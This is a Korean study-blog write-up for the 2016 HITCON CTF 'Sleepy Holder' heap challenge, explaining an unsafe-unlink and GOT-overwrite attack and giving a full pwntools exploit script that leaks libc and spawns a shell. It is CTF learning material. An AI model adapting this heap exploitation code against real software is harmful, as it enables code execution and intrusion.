HanJeouk의 개인공부 블로그

2016 Hitcon sleepy holder

CTF2018. 1. 21. 16:58

Secret holder 과 비슷하지만 huge 청크를 한 번만 할당할 수 있고 wipe와 renew를 못 한다.

small 과 big으로 keep을 한 다음에 small 을 wipe하고 huge로 keep을 하면 fastbin이였던 wipe된 small이

unsorted bin으로 가서 fd와 bk에 main_arena+88 있다.  그 뒤에 다시 small을 wipe하면 fastbin으로 들어갈 것이다.

이제 unlink를 조작해서 전역변수 영역에 할당을 시킨 다음에

secret holder처럼 small big 포인터를 함수 got로 덮어서 릭하고 공격하면 된다.

함수 주소를 릭하고 그걸로 base를 구해서 base로 system 함수를 구한 다음에 포인터를 system으로 하고 할당을 할 때 인자를 "/bin/sh\x00" 으로 해서 쉘을 땄다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import*
= process("./SleepyHolder")
elf = ELF("./SleepyHolder")
atoi_got = elf.got["atoi"]
free_got = elf.got["free"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
 
def keep(size,content):
        p.sendlineafter("3. Renew secret\n","1")
        p.sendlineafter(" forever\n",str(size))
        print p.recv(1024)
        p.send(content)
 
def wipe(size):
        p.sendlineafter("3. Renew secret\n","2")
        p.sendlineafter("2. Big secret\n",str(size))
 
def renew(size,content):
        p.sendlineafter("3. Renew secret\n","3")
        p.sendlineafter("2. Big secret\n",str(size))
        print p.recv(1024)
        p.send(content)
 
buf = 0x6020d0
print p.recvuntil("up ...")
sleep(3)
 
keep(1,"A"*4)
keep(2,"B"*4)
wipe(1)
keep(3,"C"*4)
wipe(1)
payload = p64(0)
payload += p64(0)
payload += p64(buf-0x18)
payload += p64(buf-0x10)
payload += p64(0x20)
 
p.sendlineafter("3. Renew secret\n","1")
p.sendlineafter("Big secret\n",str(1))
print p.recv(1024)
p.send(payload)
wipe(2)
 
payload = p64(0)
payload += p64(atoi_got) #2
payload += p64(puts_got) #3
payload += p64(free_got) #1
payload += p64(1)*3
 
renew(1,payload)
renew(1,p64(puts_plt))
 
wipe(2)
atoi_leak = u64(p.recv(6)+"\x00\x00")
base = atoi_leak - 0x36e80
system = base + 0x45390
print "LEAK: " + hex(atoi_leak)
print "base: " + hex(base)
 
renew(1,p64(system))
keep(2,"/bin/sh\x00")
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2017 codegate Babypwn  (2) 2018.01.25
2016 WITHcon Malloc  (0) 2018.01.22
2016 Hitcon secret holder  (0) 2018.01.21
2017 Codegate messenger  (0) 2018.01.06
2014 Plaid CTF Ezhp  (0) 2018.01.04